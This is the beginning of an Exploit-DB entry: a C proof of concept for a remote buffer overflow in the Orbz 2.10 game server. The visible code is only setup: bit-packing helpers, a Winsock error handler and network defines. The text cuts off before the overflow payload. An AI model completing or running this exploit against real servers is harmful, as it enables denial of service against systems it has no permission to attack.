Exploit-DB #665
Description: Orbz Game 2.10 - Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2004-11-29
Author: Luigi Auriemma

Exploit:
/*

by Luigi Auriemma

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
/*

Read/Write bits to buffer 0.1.1
by Luigi Auriemma
e-mail: aluigi@altervista.org
web:    http://aluigi.altervista.org

max 32 bits numbers supported (from 0 to[PII_REDACTED]).
Probably not the fastest bit packing functions existent, but I like them.

*/



unsigned long read_bits(    // number read
  unsigned long bits,       // how much bits to read
  unsigned char *in,        // buffer from which to read the number
  unsigned long in_bits     // position of the buffer in bits
) {
    unsigned long   seek_bits,
                    rem,
                    seek = 0,
                    ret  = 0,
                    mask = -1L;

    if(bits > 32) return(0);
    if(bits < 32) mask = (1 << bits) - 1;
    for(;;) {
        seek_bits = in_bits & 7;
        ret |= ((*(in + (in_bits >> 3)) >> seek_bits) & mask) << seek;
        rem = 8 - seek_bits;
        if(rem >= bits) break;
        bits    -= rem;
        in_bits += rem;
        seek    += rem;
        mask    = (1 << bits) - 1;
    }
    return(ret);
}



unsigned long write_bits(   // position where the stored number finishs
  unsigned long data,       // number to store
  unsigned long bits,       // how much bits to occupy
  unsigned char *out,       // buffer on which to store the number
  unsigned long out_bits    // position of the buffer in bits
) {
    unsigned long   seek_bits,
                    rem;

    if(bits > 32) return(out_bits);
    if(bits < 32) data &= ((1 << bits) - 1);
    for(;;) {
        seek_bits = out_bits & 7;
        *(out + (out_bits >> 3)) &= (1 << seek_bits) - 1;   // zero
        *(out + (out_bits >> 3)) |= (data << seek_bits);
        rem = 8 - seek_bits;
        if(rem >= bits) break;
        out_bits += rem;
        bits     -= rem;
        data     >>= rem;
    }
    return(out_bits + bits);
}




#ifdef WIN32
    #include <winsock.h>
/*
   Header file used for manage errors in Windows
   It support socket and errno too
   (this header replace the previous sock_errX.h)
*/

#include <string.h>
#include <errno.h>



void std_err(void) {
    char    *error;

    switch(WSAGetLastError()) {
        case 10004: error = "Interrupted system call"; break;
        case 10009: error = "Bad file number"; break;
        case 10013: error = "Permission denied"; break;
        case 10014: error = "Bad address"; break;
        case 10022: error = "Invalid argument (not bind)"; break;
        case 10024: error = "Too many open files"; break;
        case 10035: error = "Operation would block"; break;
        case 10036: error = "Operation now in progress"; break;
        case 10037: error = "Operation already in progress"; break;
        case 10038: error = "Socket operation on non-socket"; break;
        case 10039: error = "Destination address required"; break;
        case 10040: error = "Message too long"; break;
        case 10041: error = "Protocol wrong type for socket"; break;
        case 10042: error = "Bad protocol option"; break;
        case 10043: error = "Protocol not supported"; break;
        case 10044: error = "Socket type not supported"; break;
        case 10045: error = "Operation not supported on socket"; break;
        case 10046: error = "Protocol family not supported"; break;
        case 10047: error = "Address family not supported by protocol family"; break;
        case 10048: error = "Address already in use"; break;
        case 10049: error = "Can't assign requested address"; break;
        case 10050: error = "Network is down"; break;
        case 10051: error = "Network is unreachable"; break;
        case 10052: error = "Net dropped connection or reset"; break;
        case 10053: error = "Software caused connection abort"; break;
        case 10054: error = "Connection reset by peer"; break;
        case 10055: error = "No buffer space available"; break;
        case 10056: error = "Socket is already connected"; break;
        case 10057: error = "Socket is not connected"; break;
        case 10058: error = "Can't send after socket shutdown"; break;
        case 10059: error = "Too many references, can't splice"; break;
        case 10060: error = "Connection timed out"; break;
        case 10061: error = "Connection refused"; break;
        case 10062: error = "Too many levels of symbolic links"; break;
        case 10063: error = "File name too long"; break;
        case 10064: error = "Host is down"; break;
        case 10065: error = "No Route to Host"; break;
        case 10066: error = "Directory not empty"; break;
        case 10067: error = "Too many processes"; break;
        case 10068: error = "Too many users"; break;
        case 10069: error = "Disc Quota Exceeded"; break;
        case 10070: error = "Stale NFS file handle"; break;
        case 10091: error = "Network SubSystem is unavailable"; break;
        case 10092: error = "WINSOCK DLL Version out of range"; break;
        case 10093: error = "Successful WSASTARTUP not yet performed"; break;
        case 10071: error = "Too many levels of remote in path"; break;
        case 11001: error = "Host not found"; break;
        case 11002: error = "Non-Authoritative Host not found"; break;
        case 11003: error = "Non-Recoverable errors: FORMERR, REFUSED, NOTIMP"; break;
        case 11004: error = "Valid name, no data record of requested type"; break;
        default: error = strerror(errno); break;
    }
    fprintf(stderr, "\nError: %s\n", error);
    exit(1);
}




    #define close   closesocket
#else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>
#endif



#define VER     "0.1"
#define PORT    28000
#define BUFFSZ  2048
#define TIMEO